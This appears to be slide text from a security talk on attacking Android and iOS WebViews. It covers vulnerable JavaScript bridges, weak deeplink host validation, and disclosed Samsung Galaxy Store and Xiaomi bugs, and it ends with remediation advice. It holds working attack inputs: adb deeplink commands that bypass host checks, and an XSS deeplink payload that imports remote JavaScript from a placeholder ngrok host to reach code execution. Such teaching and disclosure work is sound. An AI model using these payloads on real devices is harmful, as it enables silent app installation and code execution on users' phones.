
# Attacking Android WebViews

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## Areas of focus

Fingerprinting
WebView APIs

- . WebView Architecture
- Identifying WebView in Android and iOS
- · Vulnerable API calls and Code Snippets

JS Interface Bugs

- · Samsung Apps Arbitrary Application Installation
- · Xiaomi Captive Portal Weak Validation

### View in Android SDK to display contents of a Web page

- JavaScript Interface can be used to invoke native
   Java methods from the underlying application
- setJavaScriptEnabled() / @JavascriptInterface –
   Interact with web content by enabling JS
- shouldInterceptRequest() Intercept arbitrary network requests
- setCookie() / getCookie() Interact with the cookie database
- Each different application's WebView can be equated to a Chrome tab
- Does not share cookies with other processes or instances of WV

**Web Content** 





WebView

**Web Rendering Engine** 

JavaScript Bridge



**Native Bridge** 



**Native APIs / Platform** 

```
public class MainActivity extends Activity {
    private WebView webView = null;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        this.webView = (WebView) findViewById(R.id.webView);
        WebSettings webSettings = webView.getSettings();
        webSettings.setJavaScriptEnabled(true);
        webView.setWebViewClient(new WebViewClient());
        webView.loadUrl("https://mdsec.co.uk");
```

```
webview.webViewClient = CustomWebViewClient()

val uri : Uri? = intent.data

uri?.let {

var data: String? = null

if (uri.path.equals("/web")) {

data = intent.data?.getQueryParameter("url")

} else if (uri.path.equals("/webview")) {
```

\$ adb shell am start –W –a android.intent.action.VIEW –d "insecureshop://com.insecureshop?web?url=https://mdsec.co.uk

```
} else if (uri.path.equals("/webview")) {
    if (intent.data!!.getQueryParameter("url")!!.endsWith("insecureshopapp.com")) {
        data = intent.data?.getQueryParameter("url")
    }
}

40    }

41    if (data == null) {
        finish()
}

42    webview.loadUrl(data)
```

\$ adb shell am start –W –a android.intent.action.VIEW –d "insecureshop://com.insecureshop/webview?url=b8.ee/?insecureshopapp.com

```
var isTestAirways: Bool {
         guard let scheme = self.scheme else {
             return false
         let schemes = ["http", "https", "www"]
         guard let host = host else {
             return false
         if host.contains("testairways.com") and scheme.contains(scheme) {
             // vuln-deeplink://open/testairways.com.mdsec.co.uk
             // vuln-deeplink://open/testairways.commdsec.co.uk
11
             return true
12
13
15
     actions.append { (action, vc) -> WKNavigationActionPolicy? in
         guard let url = action.request.url,
17
             url.isTestAirways else {
18
             return nil
19
21
         return .allow //load WebView
22
```

```
webSettings.setJavaScriptEnabled(true); // allow JS execution
webSettings.setJavaScriptCanOpenWindowsAutomatically(true);

WebView webView = this.c;
webView.addJavascriptInterface(new McsWebBridge(this, webView, new McsWebBridgeProvider()), "McsBridge");

WebView webView2 = this.c;
webView2.addJavascriptInterface(new McsWebBridge(this, webView2, new GmpWebBridgeProvider()), "GmpBridge");
this.l = new EditorialScriptInterface(this, this.c);
this.c.addJavascriptInterface(this.l, "GalaxyStore"); // add JS interface so that JS can call functions defined in Java class.
```

#### Samsung Galaxy Store XSS -> RCE

samsungapps://MCSLaunch?action=each\_event&url=https://us.mcsvc.samsung.com/mcp25/devops/redirect.html?mcs\_ru=a%26testMode=1%26%22id=%22%3Ca%2520id%253d%22%3e%3Csvg/onload%253dimport(%27https://xxxxxxx.ngrok.io/open.js%27)%3e%22%3e

```
private static Pattern b;
static {
    bf.a = new String[]{".mi.com", ".miui.com", ".xiaomi.com", ".duokan.com"};
}
```

Xiaomi Captive Portal RCE

Attacker controls the AP -> Intercept HTTP request to <a href="http://testing.mi.com">http://testing.mi.com</a> -> Host JS calling method from vulnerable interface window.miui.downloadAndInstallApk("com.mdsec.app")

### Remediation

- Load only trusted content into the WebView component
- Remove usage of JS bridge if feasible
- Use a custom bridge using shouldOverrideUrlLoading function verifying the host URL, validate input and encode the output
- Embed the JS and load it locally



- https://media.product.which.co.uk/prod/images/1200\_600/gm-0c7008ac-7d9a-4ce6-b438-0783f061883d-android-main.jpeg
- https://ssd-disclosure.com/ssd-advisory-galaxy-store-applications-installation-launching-without-user-interaction/
- <a href="https://github.com/hax0rgb/InsecureShop/tree/main">https://github.com/hax0rgb/InsecureShop/tree/main</a>
- https://labs.withsecure.com/advisories/xiaomi-wifi